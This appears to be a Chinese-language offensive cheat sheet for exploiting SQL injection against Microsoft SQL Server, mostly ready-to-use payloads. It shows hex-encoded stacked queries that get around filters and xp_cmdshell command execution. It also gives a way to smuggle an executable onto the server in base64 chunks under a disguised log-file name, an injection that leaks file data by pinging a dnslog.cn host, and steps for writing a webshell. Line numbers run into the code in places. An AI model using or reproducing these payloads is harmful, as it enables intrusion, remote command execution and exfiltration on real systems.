前提是bda权限或者是dbo权限
绕过
支持堆叠的情况下支持declare就可以基本绕过,execute或者exec函数禁用可以通过ex1ecute绕过
1 | select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)-- |
写文件姿势
出网—-echo
出NDS—-压缩形式分片上传,或者certutil工具编码写dll
- echo
- 出DNS时写马
1、makecab压缩 makecab httptest.exe httptest.zip
解压expand
2、kali base64 -w 4000 或者脚本分割
3、替换文+为%2b
4、burp单线程跑5、判断文件是否成功写入1
powershell -c "\"§-----BEGIN CERTIFICATE-----`nTVqQAAMAAAAEAAAA//8AALgA(base64内容)n/§\" | Out-File C:\\Windows\\Temp\\chrome_installers.log -Append"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
191';exec+xp_cmdshell+'for+%i+in+(C%3a\\Windows\\Temp\\test.zip)+do+ping+-n+1+%~zi.wwc6fh.dnslog.cn'--+a
%zn
z 大小
n 文件个数
语法:
for /f “选项” %变量 in ( “字符串”-集 /文件名-集/ ‘命令'-集 ) do 命令
读取文件内容:
for /F %i in (c:\windows\tasks\1.txt) do echo %i
执行命令,并读取结果:
FOR /F "USEBACKQ" %d IN (`dir`) DO @ECHO %d
读取目录名称:
FOR /F "USEBACKQ delims=<DIR> tokens=2" %i in (`dir c:\windows\tasks`) do @ECHO %i
FOR /F "USEBACKQ" %i in (`dir /b c:\windows\tasks`) do @ECHO %i [更好]
读取文件名:
FOR /F "USEBACKQ tokens=4 delims= " %c in (`dir c:\windows\tasks`) do @ECHO %c
这里使用了 usebackq 参数,令执行命令用`包裹。 - 利用存储过程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16declare @FilePath nvarchar(400),@xmlstr varchar(8000);
Declare @INT_ERR int;
Declare @INT_FSO int;
Declare @INT_OPENFILE int;
Declare @STR_CONTENT as varchar(MAX);
DECLARE @output varchar(255);
DECLARE @hr int;
DECLARE @source varchar(255);
DECLARE @description varchar(255);
set @FilePath = 'c:/windows/tasks/111.ps1';
set @STR_CONTENT = convert(varchar(MAX),0x313233);
EXEC @INT_ERR = sp_OACreate 'Scripting.FileSystemObject', @INT_FSO OUTPUT;
if(@INT_ERR <> 0) BEGIN EXEC sp_OAGetErrorInfo @INT_FSO RETURN END;
EXEC @INT_ERR=SP_OAMETHOD @INT_FSO,'CreateTextFile',@INT_OPENFILE OUTPUT,@FilePath;
EXEC @INT_ERR=SP_OAMETHOD @INT_OPENFILE,'Write',null,@STR_CONTENT;
EXEC @INT_ERR=SP_OADESTROY @INT_OPENFILE;不是站库分离的情况
写webshell就可以了
- 绝对路径
报错
创建临时表,插入查询结果
1
2
31';CREATE TABLE tt_tmp (tmp1 varchar(8000));--
insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i in (ajax.asp) do @echo %i ';--+
报错 ' and 1=(select top 1 tmp1 from tt_tmp)and 'a'='a站库分离的情况
出http或者dns时上面写文件方式写文件
不出网无回显带出命令执行结果
1
2
3create TABLE output([output][varchar](1000),ID int NOT NULL IDENTITY (1,1));
insert output exec master.dbo.xp_cmdshell 'dir c:';
select output from output where id=1;